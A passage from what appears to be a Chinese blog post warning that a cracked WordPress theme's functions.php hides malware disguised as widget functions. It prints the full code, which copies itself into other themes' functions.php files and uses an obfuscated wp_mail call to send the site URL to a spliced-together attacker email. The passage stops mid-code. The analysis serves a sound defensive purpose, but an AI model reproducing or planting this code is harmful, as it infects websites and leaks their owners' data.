wordpress主题functions.php文件恶意代码注释及删除方法

测试网上下载的一个破解版本wpyou主题,启用时出现如“Fatal error: Cannot redeclare _verifyactivate_widgets()”的报错,检查主题的functions.php文件时,发现了_verifyactivate_widgets()、_verify_isactivate_widgets()、_check_isactive_widget()、_get_allwidgetscont()、_prepare_widgets()、_popular_posts()等函数,乍看之下,还以为是小工具之类的函数,实际是恶意代码。

完整的代码如下:
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<?php
function _check_isactive_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
$output .= ($showdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_isactive_widget");
function _getsprepare_widget(){
if(!isset($com_length)) $com_length=120;
if(!isset($text_value)) $text_value="cookie";
if(!isset($allowed_tags)) $allowed_tags="<a>";
if(!isset($type_filter)) $type_filter="none";
if(!isset($expl)) $expl="";
if(!isset($filter_homes)) $filter_homes=get_option("home");
if(!isset($pref_filter)) $pref_filter="wp_";
if(!isset($use_more)) $use_more=1;
if(!isset($comm_type)) $comm_type="";
if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
if(!isset($postauthor_comment)) $postauthor_comment="";
if(!isset($comm_is_approved)) $comm_is_approved="";
if(!isset($postauthor)) $postauthor="auth";
if(!isset($more_link)) $more_link="(more...)";
if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
if(!isset($morecontents)) $morecontents="ma".$expl."il";
if(!isset($fmore)) $fmore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$is_widget) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tags)) $f_tags=1;
if(!isset($type_filters)) $type_filters=$filter_homes;
if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
if(!isset($aditional_tags)) $aditional_tags="div";
if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
if(!isset($showdots)) $showdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($com_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $com_length) {
$l=$com_length;
$ellipsis=1;
} else {
$l=count($text);
$more_link="";
$ellipsis=0;
}
}
for ($i=0; $i<$l;

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